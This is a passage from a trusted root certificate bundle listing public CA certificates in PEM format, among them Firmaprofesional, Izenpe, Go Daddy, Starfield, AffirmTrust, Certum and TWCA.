0mpiLx9e+pZo34knlTifBtc+ycsmWQ1z3rDI6SYOgxXG71uL0gRgykmmKPZpO/bLyCiR5Z2KYVc3 rHQU3HTgOu5yLy6c+9C7v/U9AOEGM+iCK65TpjoWc4zdQQ4gOsC0p6Hpsk+QLjJg6VfLuQSSaGjl OCZgdbKfd/+RFO+uIEn8rUAVSNECMWEZXriX7613t2Saer9fwRPvm2L7DWzgVGkWqQPabumDk3F2 xmmFghcCAwEAAaNCMEAwDgYDVR0PAQH/BAQDAgEGMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYE FI/wS3+oLkUkrk1Q+mOai97i3Ru8MA0GCSqGSIb3DQEBCwUAA4IBAQBLQNvAUKr+yAzv95ZURUm7 lgAJQayzE4aGKAczymvmdLm6AC2upArT9fHxD4q/c2dKg8dEe3jgr25sbwMpjjM5RcOO5LlXbKr8 EpbsU8Yt5CRsuZRj+9xTaGdWPoO4zzUhw8lo/s7awlOqzJCK6fBdRoyV3XpYKBovHd7NADdBj+1E bddTKJd+82cEHhXXipa0095MJ6RMG3NzdvQXmcIfeg7jLQitChws/zyrVQ4PkX4268NXSb7hLi18 YIvDQVETI53O9zJrlAGomecsMx86OyXShkDOOyyGeMlhLxS67ttVb9+E7gUJTb0o2HLO02JQZR7r kpeDMdmztcpHWD9f -----END CERTIFICATE----- Autoridad de Certificacion Firmaprofesional CIF A62634068 ========================================================= -----BEGIN CERTIFICATE----- MIIGFDCCA/ygAwIBAgIIU+w77vuySF8wDQYJKoZIhvcNAQEFBQAwUTELMAkGA1UEBhMCRVMxQjBA BgNVBAMMOUF1dG9yaWRhZCBkZSBDZXJ0aWZpY2FjaW9uIEZpcm1hcHJvZmVzaW9uYWwgQ0lGIEE2 MjYzNDA2ODAeFw0wOTA1MjAwODM4MTVaFw0zMDEyMzEwODM4MTVaMFExCzAJBgNVBAYTAkVTMUIw QAYDVQQDDDlBdXRvcmlkYWQgZGUgQ2VydGlmaWNhY2lvbiBGaXJtYXByb2Zlc2lvbmFsIENJRiBB NjI2MzQwNjgwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQDKlmuO6vj78aI14H9M2uDD Utd9thDIAl6zQyrET2qyyhxdKJp4ERppWVevtSBC5IsP5t9bpgOSL/UR5GLXMnE42QQMcas9UX4P B99jBVzpv5RvwSmCwLTaUbDBPLutN0pcyvFLNg4kq7/DhHf9qFD0sefGL9ItWY16Ck6WaVICqjaY 7Pz6FIMMNx/Jkjd/14Et5cS54D40/mf0PmbR0/RAz15iNA9wBj4gGFrO93IbJWyTdBSTo3OxDqqH ECNZXyAFGUftaI6SEspd/NYrspI8IM/hX68gvqB2f3bl7BqGYTM+53u0P6APjqK5am+5hyZvQWyI plD9amML9ZMWGxmPsu2bm8mQ9QEM3xk9Dz44I8kvjwzRAv4bVdZO0I08r0+k8/6vKtMFnXkIoctX MbScyJCyZ/QYFpM6/EfY0XiWMR+6KwxfXZmtY4laJCB22N/9q06mIqqdXuYnin1oKaPnirjaEbsX LZmdEyRG98Xi2J+Of8ePdG1asuhy9azuJBCtLxTa/y2aRnFHvkLfuwHb9H/TKI8xWVvTyQKmtFLK bpf7Q8UIJm+K9Lv9nyiqDdVF8xM6HdjAeI9BZzwelGSuewvF6NkBiDkal4ZkQdU7hwxu+g/GvUgU vzlN1J5Bto+WHWOWk9mVBngxaJ43BjuAiUVhOSPHG0SjFeUc+JIwuwIDAQABo4HvMIHsMBIGA1Ud EwEB/wQIMAYBAf8CAQEwDgYDVR0PAQH/BAQDAgEGMB0GA1UdDgQWBBRlzeurNR4APn7VdMActHNH DhpkLzCBpgYDVR0gBIGeMIGbMIGYBgRVHSAAMIGPMC8GCCsGAQUFBwIBFiNodHRwOi8vd3d3LmZp cm1hcHJvZmVzaW9uYWwuY29tL2NwczBcBggrBgEFBQcCAjBQHk4AUABhAHMAZQBvACAAZABlACAA bABhACAAQgBvAG4AYQBuAG8AdgBhACAANAA3ACAAQgBhAHIAYwBlAGwAbwBuAGEAIAAwADgAMAAx ADcwDQYJKoZIhvcNAQEFBQADggIBABd9oPm03cXF661LJLWhAqvdpYhKsg9VSytXjDvlMd3+xDLx 51tkljYyGOylMnfX40S2wBEqgLk9am58m9Ot/MPWo+ZkKXzR4Tgegiv/J2Wv+xYVxC5xhOW1//qk R71kMrv2JYSiJ0L1ILDCExARzRAVukKQKtJE4ZYm6zFIEv0q2skGz3QeqUvVhyj5eTSSPi5E6PaP T481PyWzOdxjKpBrIF/EUhJOlywqrJ2X3kjyo2bbwtKDlaZmp54lD+kLM5FlClrD2VQS3a/DTg4f Jl4N3LON7NWBcN7STyQF82xO9UxJZo3R/9ILJUFI/lGExkKvgATP0H5kSeTy36LssUzAKh3ntLFl osS88Zj0qnAHY7S42jtM+kAiMFsRpvAFDsYCA0irhpuF3dvd6qJ2gHN99ZwExEWN57kci57q13XR crHedUTnQn3iV2t93Jm8PYMo6oCTjcVMZcFwgbg4/EMxsvYDNEeyrPsiBsse3RdHHF9mudMaotoR saS8I8nkvof/uZS2+F0gStRf571oe2XyFR7SOqkt6dhrJKyXWERHrVkY8SFlcN7ONGCoQPHzPKTD KCOM/iczQ0CgFzzr6juwcqajuUpLXhZI9LK8yIySxZ2frHI2vDSANGupi5LAuBft7HZT9SQBjLMi 6Et8Vcad+qMUu2WFbm5PEn4KPJ2V -----END CERTIFICATE----- Izenpe.com ========== -----BEGIN CERTIFICATE----- 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 -----END CERTIFICATE----- Go Daddy Root Certificate Authority - G2 ======================================== -----BEGIN CERTIFICATE----- MIIDxTCCAq2gAwIBAgIBADANBgkqhkiG9w0BAQsFADCBgzELMAkGA1UEBhMCVVMxEDAOBgNVBAgT B0FyaXpvbmExEzARBgNVBAcTClNjb3R0c2RhbGUxGjAYBgNVBAoTEUdvRGFkZHkuY29tLCBJbmMu MTEwLwYDVQQDEyhHbyBEYWRkeSBSb290IENlcnRpZmljYXRlIEF1dGhvcml0eSAtIEcyMB4XDTA5 MDkwMTAwMDAwMFoXDTM3MTIzMTIzNTk1OVowgYMxCzAJBgNVBAYTAlVTMRAwDgYDVQQIEwdBcml6 b25hMRMwEQYDVQQHEwpTY290dHNkYWxlMRowGAYDVQQKExFHb0RhZGR5LmNvbSwgSW5jLjExMC8G A1UEAxMoR28gRGFkZHkgUm9vdCBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkgLSBHMjCCASIwDQYJKoZI hvcNAQEBBQADggEPADCCAQoCggEBAL9xYgjx+lk09xvJGKP3gElY6SKDE6bFIEMBO4Tx5oVJnyfq 9oQbTqC023CYxzIBsQU+B07u9PpPL1kwIuerGVZr4oAH/PMWdYA5UXvl+TW2dE6pjYIT5LY/qQOD +qK+ihVqf94Lw7YZFAXK6sOoBJQ7RnwyDfMAZiLIjWltNowRGLfTshxgtDj6AozO091GB94KPutd fMh8+7ArU6SSYmlRJQVhGkSBjCypQ5Yj36w6gZoOKcUcqeldHraenjAKOc7xiID7S13MMuyFYkMl NAJWJwGRtDtwKj9useiciAF9n9T521NtYJ2/LOdYq7hfRvzOxBsDPAnrSTFcaUaz4EcCAwEAAaNC MEAwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYwHQYDVR0OBBYEFDqahQcQZyi27/a9 BUFuIMGU2g/eMA0GCSqGSIb3DQEBCwUAA4IBAQCZ21151fmXWWcDYfF+OwYxdS2hII5PZYe096ac vNjpL9DbWu7PdIxztDhC2gV7+AJ1uP2lsdeu9tfeE8tTEH6KRtGX+rcuKxGrkLAngPnon1rpN5+r 5N9ss4UXnT3ZJE95kTXWXwTrgIOrmgIttRD02JDHBHNA7XIloKmf7J6raBKZV8aPEjoJpL1E/QYV N8Gb5DKj7Tjo2GTzLH4U/ALqn83/B2gX2yKQOC16jdFU8WnjXzPKej17CuPKf1855eJ1usV2GDPO LPAvTK33sefOT6jEm0pUBsV/fdUID+Ic/n4XuKxe9tQWskMJDE32p2u0mYRlynqI4uJEvlz36hz1 -----END CERTIFICATE----- Starfield Root Certificate Authority - G2 ========================================= -----BEGIN CERTIFICATE----- MIID3TCCAsWgAwIBAgIBADANBgkqhkiG9w0BAQsFADCBjzELMAkGA1UEBhMCVVMxEDAOBgNVBAgT B0FyaXpvbmExEzARBgNVBAcTClNjb3R0c2RhbGUxJTAjBgNVBAoTHFN0YXJmaWVsZCBUZWNobm9s b2dpZXMsIEluYy4xMjAwBgNVBAMTKVN0YXJmaWVsZCBSb290IENlcnRpZmljYXRlIEF1dGhvcml0 eSAtIEcyMB4XDTA5MDkwMTAwMDAwMFoXDTM3MTIzMTIzNTk1OVowgY8xCzAJBgNVBAYTAlVTMRAw DgYDVQQIEwdBcml6b25hMRMwEQYDVQQHEwpTY290dHNkYWxlMSUwIwYDVQQKExxTdGFyZmllbGQg VGVjaG5vbG9naWVzLCBJbmMuMTIwMAYDVQQDEylTdGFyZmllbGQgUm9vdCBDZXJ0aWZpY2F0ZSBB dXRob3JpdHkgLSBHMjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAL3twQP89o/8ArFv W59I2Z154qK3A2FWGMNHttfKPTUuiUP3oWmb3ooa/RMgnLRJdzIpVv257IzdIvpy3Cdhl+72WoTs bhm5iSzchFvVdPtrX8WJpRBSiUZV9Lh1HOZ/5FSuS/hVclcCGfgXcVnrHigHdMWdSL5stPSksPNk N3mSwOxGXn/hbVNMYq/NHwtjuzqd+/x5AJhhdM8mgkBj87JyahkNmcrUDnXMN/uLicFZ8WJ/X7Nf ZTD4p7dNdloedl40wOiWVpmKs/B/pM293DIxfJHP4F8R+GuqSVzRmZTRouNjWwl2tVZi4Ut0HZbU JtQIBFnQmA4O5t78w+wfkPECAwEAAaNCMEAwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMC AQYwHQYDVR0OBBYEFHwMMh+n2TB/xH1oo2Kooc6rB1snMA0GCSqGSIb3DQEBCwUAA4IBAQARWfol TwNvlJk7mh+ChTnUdgWUXuEok21iXQnCoKjUsHU48TRqneSfioYmUeYs0cYtbpUgSpIB7LiKZ3sx 4mcujJUDJi5DnUox9g61DLu34jd/IroAow57UvtruzvE03lRTs2Q9GcHGcg8RnoNAX3FWOdt5oUw F5okxBDgBPfg8n/Uqgr/Qh037ZTlZFkSIHc40zI+OIF1lnP6aI+xy84fxez6nH7PfrHxBy22/L/K pL/QlwVKvOoYKAKQvVR4CSFx09F9HdkWsKlhPdAKACL8x3vLCWRFCztAgfd9fDL1mMpYjn0q7pBZ c2T5NnReJaH1ZgUufzkVqSr7UIuOhWn0 -----END CERTIFICATE----- Starfield Services Root Certificate Authority - G2 ================================================== -----BEGIN CERTIFICATE----- MIID7zCCAtegAwIBAgIBADANBgkqhkiG9w0BAQsFADCBmDELMAkGA1UEBhMCVVMxEDAOBgNVBAgT B0FyaXpvbmExEzARBgNVBAcTClNjb3R0c2RhbGUxJTAjBgNVBAoTHFN0YXJmaWVsZCBUZWNobm9s b2dpZXMsIEluYy4xOzA5BgNVBAMTMlN0YXJmaWVsZCBTZXJ2aWNlcyBSb290IENlcnRpZmljYXRl IEF1dGhvcml0eSAtIEcyMB4XDTA5MDkwMTAwMDAwMFoXDTM3MTIzMTIzNTk1OVowgZgxCzAJBgNV BAYTAlVTMRAwDgYDVQQIEwdBcml6b25hMRMwEQYDVQQHEwpTY290dHNkYWxlMSUwIwYDVQQKExxT dGFyZmllbGQgVGVjaG5vbG9naWVzLCBJbmMuMTswOQYDVQQDEzJTdGFyZmllbGQgU2VydmljZXMg Um9vdCBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkgLSBHMjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCC AQoCggEBANUMOsQq+U7i9b4Zl1+OiFOxHz/Lz58gE20pOsgPfTz3a3Y4Y9k2YKibXlwAgLIvWX/2 h/klQ4bnaRtSmpDhcePYLQ1Ob/bISdm28xpWriu2dBTrz/sm4xq6HZYuajtYlIlHVv8loJNwU4Pa hHQUw2eeBGg6345AWh1KTs9DkTvnVtYAcMtS7nt9rjrnvDH5RfbCYM8TWQIrgMw0R9+53pBlbQLP LJGmpufehRhJfGZOozptqbXuNC66DQO4M99H67FrjSXZm86B0UVGMpZwh94CDklDhbZsc7tk6mFB rMnUVN+HL8cisibMn1lUaJ/8viovxFUcdUBgF4UCVTmLfwUCAwEAAaNCMEAwDwYDVR0TAQH/BAUw AwEB/zAOBgNVHQ8BAf8EBAMCAQYwHQYDVR0OBBYEFJxfAN+qAdcwKziIorhtSpzyEZGDMA0GCSqG SIb3DQEBCwUAA4IBAQBLNqaEd2ndOxmfZyMIbw5hyf2E3F/YNoHN2BtBLZ9g3ccaaNnRbobhiCPP E95Dz+I0swSdHynVv/heyNXBve6SbzJ08pGCL72CQnqtKrcgfU28elUSwhXqvfdqlS5sdJ/PHLTy xQGjhdByPq1zqwubdQxtRbeOlKyWN7Wg0I8VRw7j6IPdj/3vQQF3zCepYoUz8jcI73HPdwbeyBkd iEDPfUYd/x7H4c7/I9vG+o1VTqkC50cRRj70/b17KSa7qWFiNyi2LSr2EIZkyXCn0q23KXB56jza YyWf/Wi3MOxw+3WKt21gZ7IeyLnp2KhvAotnDU0mV3HaIPzBSlCNsSi6 -----END CERTIFICATE----- AffirmTrust Commercial ====================== -----BEGIN CERTIFICATE----- MIIDTDCCAjSgAwIBAgIId3cGJyapsXwwDQYJKoZIhvcNAQELBQAwRDELMAkGA1UEBhMCVVMxFDAS BgNVBAoMC0FmZmlybVRydXN0MR8wHQYDVQQDDBZBZmZpcm1UcnVzdCBDb21tZXJjaWFsMB4XDTEw MDEyOTE0MDYwNloXDTMwMTIzMTE0MDYwNlowRDELMAkGA1UEBhMCVVMxFDASBgNVBAoMC0FmZmly bVRydXN0MR8wHQYDVQQDDBZBZmZpcm1UcnVzdCBDb21tZXJjaWFsMIIBIjANBgkqhkiG9w0BAQEF AAOCAQ8AMIIBCgKCAQEA9htPZwcroRX1BiLLHwGy43NFBkRJLLtJJRTWzsO3qyxPxkEylFf6Eqdb DuKPHx6GGaeqtS25Xw2Kwq+FNXkyLbscYjfysVtKPcrNcV/pQr6U6Mje+SJIZMblq8Yrba0F8PrV C8+a5fBQpIs7R6UjW3p6+DM/uO+Zl+MgwdYoic+U+7lF7eNAFxHUdPALMeIrJmqbTFeurCA+ukV6 BfO9m2kVrn1OIGPENXY6BwLJN/3HR+7o8XYdcxXyl6S1yHp52UKqK39c/s4mT6NmgTWvRLpUHhww MmWd5jyTXlBOeuM61G7MGvv50jeuJCqrVwMiKA1JdX+3KNp1v47j3A55MQIDAQABo0IwQDAdBgNV HQ4EFgQUnZPGU4teyq8/nx4P5ZmVvCT2lI8wDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMC AQYwDQYJKoZIhvcNAQELBQADggEBAFis9AQOzcAN/wr91LoWXym9e2iZWEnStB03TX8nfUYGXUPG hi4+c7ImfU+TqbbEKpqrIZcUsd6M06uJFdhrJNTxFq7YpFzUf1GO7RgBsZNjvbz4YYCanrHOQnDi qX0GJX0nof5v7LMeJNrjS1UaADs1tDvZ110w/YETifLCBivtZ8SOyUOyXGsViQK8YvxO8rUzqrJv 0wqiUOP2O+guRMLbZjipM1ZI8W0bM40NjD9gN53Tym1+NH4Nn3J2ixufcv1SNUFFApYvHLKac0kh sUlHRUe072o0EclNmsxZt9YCnlpOZbWUrhvfKbAW8b8Angc6F2S1BLUjIZkKlTuXfO8= -----END CERTIFICATE----- AffirmTrust Networking ====================== -----BEGIN CERTIFICATE----- MIIDTDCCAjSgAwIBAgIIfE8EORzUmS0wDQYJKoZIhvcNAQEFBQAwRDELMAkGA1UEBhMCVVMxFDAS BgNVBAoMC0FmZmlybVRydXN0MR8wHQYDVQQDDBZBZmZpcm1UcnVzdCBOZXR3b3JraW5nMB4XDTEw MDEyOTE0MDgyNFoXDTMwMTIzMTE0MDgyNFowRDELMAkGA1UEBhMCVVMxFDASBgNVBAoMC0FmZmly bVRydXN0MR8wHQYDVQQDDBZBZmZpcm1UcnVzdCBOZXR3b3JraW5nMIIBIjANBgkqhkiG9w0BAQEF AAOCAQ8AMIIBCgKCAQEAtITMMxcua5Rsa2FSoOujz3mUTOWUgJnLVWREZY9nZOIG41w3SfYvm4SE Hi3yYJ0wTsyEheIszx6e/jarM3c1RNg1lho9Nuh6DtjVR6FqaYvZ/Ls6rnla1fTWcbuakCNrmreI dIcMHl+5ni36q1Mr3Lt2PpNMCAiMHqIjHNRqrSK6mQEubWXLviRmVSRLQESxG9fhwoXA3hA/Pe24 /PHxI1Pcv2WXb9n5QHGNfb2V1M6+oF4nI979ptAmDgAp6zxG8D1gvz9Q0twmQVGeFDdCBKNwV6gb h+0t+nvujArjqWaJGctB+d1ENmHP4ndGyH329JKBNv3bNPFyfvMMFr20FQIDAQABo0IwQDAdBgNV HQ4EFgQUBx/S55zawm6iQLSwelAQUHTEyL0wDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMC AQYwDQYJKoZIhvcNAQEFBQADggEBAIlXshZ6qML91tmbmzTCnLQyFE2npN/svqe++EPbkTfOtDIu UFUaNU52Q3Eg75N3ThVwLofDwR1t3Mu1J9QsVtFSUzpE0nPIxBsFZVpikpzuQY0x2+c06lkh1QF6 12S4ZDnNye2v7UsDSKegmQGA3GWjNq5lWUhPgkvIZfFXHeVZLgo/bNjR9eUJtGxUAArgFU2HdW23 WJZa3W3SAKD0m0i+wzekujbgfIeFlxoVot4uolu9rxj5kFDNcFn4J2dHy8egBzp90SxdbBk6ZrV9 /ZFvgrG+CJPbFEfxojfHRZ48x3evZKiT3/Zpg4Jg8klCNO1aAFSFHBY2kgxc+qatv9s= -----END CERTIFICATE----- AffirmTrust Premium =================== -----BEGIN CERTIFICATE----- MIIFRjCCAy6gAwIBAgIIbYwURrGmCu4wDQYJKoZIhvcNAQEMBQAwQTELMAkGA1UEBhMCVVMxFDAS BgNVBAoMC0FmZmlybVRydXN0MRwwGgYDVQQDDBNBZmZpcm1UcnVzdCBQcmVtaXVtMB4XDTEwMDEy OTE0MTAzNloXDTQwMTIzMTE0MTAzNlowQTELMAkGA1UEBhMCVVMxFDASBgNVBAoMC0FmZmlybVRy dXN0MRwwGgYDVQQDDBNBZmZpcm1UcnVzdCBQcmVtaXVtMIICIjANBgkqhkiG9w0BAQEFAAOCAg8A MIICCgKCAgEAxBLfqV/+Qd3d9Z+K4/as4Tx4mrzY8H96oDMq3I0gW64tb+eT2TZwamjPjlGjhVtn BKAQJG9dKILBl1fYSCkTtuG+kU3fhQxTGJoeJKJPj/CihQvL9Cl/0qRY7iZNyaqoe5rZ+jjeRFcV 5fiMyNlI4g0WJx0eyIOFJbe6qlVBzAMiSy2RjYvmia9mx+n/K+k8rNrSs8PhaJyJ+HoAVt70VZVs +7pk3WKL3wt3MutizCaam7uqYoNMtAZ6MMgpv+0GTZe5HMQxK9VfvFMSF5yZVylmd2EhMQcuJUmd GPLu8ytxjLW6OQdJd/zvLpKQBY0tL3d770O/Nbua2Plzpyzy0FfuKE4mX4+QaAkvuPjcBukumj5R p9EixAqnOEhss/n/fauGV+O61oV4d7pD6kh/9ti+I20ev9E2bFhc8e6kGVQa9QPSdubhjL08s9NI S+LI+H+SqHZGnEJlPqQewQcDWkYtuJfzt9WyVSHvutxMAJf7FJUnM7/oQ0dG0giZFmA7mn7S5u04 6uwBHjxIVkkJx0w3AJ6IDsBz4W9m6XJHMD4Q5QsDyZpCAGzFlH5hxIrff4IaC1nEWTJ3s7xgaVY5 /bQGeyzWZDbZvUjthB9+pSKPKrhC9IK31FOQeE4tGv2Bb0TXOwF0lkLgAOIua+rF7nKsu7/+6qqo +Nz2snmKtmcCAwEAAaNCMEAwHQYDVR0OBBYEFJ3AZ6YMItkm9UWrpmVSESfYRaxjMA8GA1UdEwEB /wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMA0GCSqGSIb3DQEBDAUAA4ICAQCzV00QYk465KzquByv MiPIs0laUZx2KI15qldGF9X1Uva3ROgIRL8YhNILgM3FEv0AVQVhh0HctSSePMTYyPtwni94loMg Nt58D2kTiKV1NpgIpsbfrM7jWNa3Pt668+s0QNiigfV4Py/VpfzZotReBA4Xrf5B8OWycvpEgjNC 6C1Y91aMYj+6QrCcDFx+LmUmXFNPALJ4fqENmS2NuB2OosSw/WDQMKSOyARiqcTtNd56l+0OOF6S L5Nwpamcb6d9Ex1+xghIsV5n61EIJenmJWtSKZGc0jlzCFfemQa0W50QBuHCAKi4HEoCChTQwUHK +4w1IX2COPKpVJEZNZOUbWo6xbLQu4mGk+ibyQ86p3q4ofB4Rvr8Ny/lioTz3/4E2aFooC8k4gmV BtWVyuEklut89pMFu+1z6S3RdTnX5yTb2E5fQ4+e0BQ5v1VwSJlXMbSc7kqYA5YwH2AG7hsj/oFg IxpHYoWlzBk0gG+zrBrjn/B7SK3VAdlntqlyk+otZrWyuOQ9PLLvTIzq6we/qzWaVYa8GKa1qF60 g2xraUDTn9zxw2lrueFtCfTxqlB2Cnp9ehehVZZCmTEJ3WARjQUwfuaORtGdFNrHF+QFlozEJLUb zxQHskD4o55BhrwE0GuWyCqANP2/7waj3VjFhT0+j/6eKeC2uAloGRwYQw== -----END CERTIFICATE----- AffirmTrust Premium ECC ======================= -----BEGIN CERTIFICATE----- MIIB/jCCAYWgAwIBAgIIdJclisc/elQwCgYIKoZIzj0EAwMwRTELMAkGA1UEBhMCVVMxFDASBgNV BAoMC0FmZmlybVRydXN0MSAwHgYDVQQDDBdBZmZpcm1UcnVzdCBQcmVtaXVtIEVDQzAeFw0xMDAx MjkxNDIwMjRaFw00MDEyMzExNDIwMjRaMEUxCzAJBgNVBAYTAlVTMRQwEgYDVQQKDAtBZmZpcm1U cnVzdDEgMB4GA1UEAwwXQWZmaXJtVHJ1c3QgUHJlbWl1bSBFQ0MwdjAQBgcqhkjOPQIBBgUrgQQA IgNiAAQNMF4bFZ0D0KF5Nbc6PJJ6yhUczWLznCZcBz3lVPqj1swS6vQUX+iOGasvLkjmrBhDeKzQ N8O9ss0s5kfiGuZjuD0uL3jET9v0D6RoTFVya5UdThhClXjMNzyR4ptlKymjQjBAMB0GA1UdDgQW BBSaryl6wBE1NSZRMADDav5A1a7WPDAPBgNVHRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIBBjAK BggqhkjOPQQDAwNnADBkAjAXCfOHiFBar8jAQr9HX/VsaobgxCd05DhT1wV/GzTjxi+zygk8N53X 57hG8f2h4nECMEJZh0PUUd+60wkyWs6Iflc9nF9Ca/UHLbXwgpP5WW+uZPpY5Yse42O+tYHNbwKM eQ== -----END CERTIFICATE----- Certum Trusted Network CA ========================= -----BEGIN CERTIFICATE----- MIIDuzCCAqOgAwIBAgIDBETAMA0GCSqGSIb3DQEBBQUAMH4xCzAJBgNVBAYTAlBMMSIwIAYDVQQK ExlVbml6ZXRvIFRlY2hub2xvZ2llcyBTLkEuMScwJQYDVQQLEx5DZXJ0dW0gQ2VydGlmaWNhdGlv biBBdXRob3JpdHkxIjAgBgNVBAMTGUNlcnR1bSBUcnVzdGVkIE5ldHdvcmsgQ0EwHhcNMDgxMDIy MTIwNzM3WhcNMjkxMjMxMTIwNzM3WjB+MQswCQYDVQQGEwJQTDEiMCAGA1UEChMZVW5pemV0byBU ZWNobm9sb2dpZXMgUy5BLjEnMCUGA1UECxMeQ2VydHVtIENlcnRpZmljYXRpb24gQXV0aG9yaXR5 MSIwIAYDVQQDExlDZXJ0dW0gVHJ1c3RlZCBOZXR3b3JrIENBMIIBIjANBgkqhkiG9w0BAQEFAAOC AQ8AMIIBCgKCAQEA4/t9o3K6wvDJFIf1awFO4W5AB7ptJ11/91sts1rHUV+rpDKmYYe2bg+G0jAC l/jXaVehGDldamR5xgFZrDwxSjh80gTSSyjoIF87B6LMTXPb865Px1bVWqeWifrzq2jUI4ZZJ88J J7ysbnKDHDBy3+Ci6dLhdHUZvSqeexVUBBvXQzmtVSjF4hq79MDkrjhJM8x2hZ85RdKknvISjFH4 fOQtf/WsX+sWn7Et0brMkUJ3TCXJkDhv2/DM+44el1k+1WBO5gUo7Ul5E0u6SNsv+XLTOcr+H9g0 cvW0QM8xAcPs3hEtF10fuFDRXhmnad4HMyjKUJX5p1TLVIZQRan5SQIDAQABo0IwQDAPBgNVHRMB Af8EBTADAQH/MB0GA1UdDgQWBBQIds3LB/8k9sXN7buQvOKEN0Z19zAOBgNVHQ8BAf8EBAMCAQYw DQYJKoZIhvcNAQEFBQADggEBAKaorSLOAT2mo/9i0Eidi15ysHhE49wcrwn9I0j6vSrEuVUEtRCj jSfeC4Jj0O7eDDd5QVsisrCaQVymcODU0HfLI9MA4GxWL+FpDQ3Zqr8hgVDZBqWo/5U30Kr+4rP1 mS1FhIrlQgnXdAIv94nYmem8J9RHjboNRhx3zxSkHLmkMcScKHQDNP8zGSal6Q10tz6XxnboJ5aj Zt3hrvJBW8qYVoNzcOSGGtIxQbovvi0TWnZvTuhOgQ4/WwMioBK+ZlgRSssDxLQqKi2WF+A5VLxI 03YnnZotBqbJ7DnSq9ufmgsnAjUpsUCV5/nonFWIGUbWtzT1fs45mtk48VH3Tyw= -----END CERTIFICATE----- TWCA Root Certification Authority ================================= -----BEGIN CERTIFICATE----- MIIDezCCAmOgAwIBAgIBATANBgkqhkiG9w0BAQUFADBfMQswCQYDVQQGEwJUVzESMBAGA1UECgwJ VEFJV0FOLUNBMRAwDgYDVQQLDAdSb290IENBMSowKAYDVQQDDCFUV0NBIFJvb3QgQ2VydGlmaWNh dGlvbiBBdXRob3JpdHkwHhcNMDgwODI4MDcyNDMzWhcNMzAxMjMxMTU1OTU5WjBfMQswCQYDVQQG 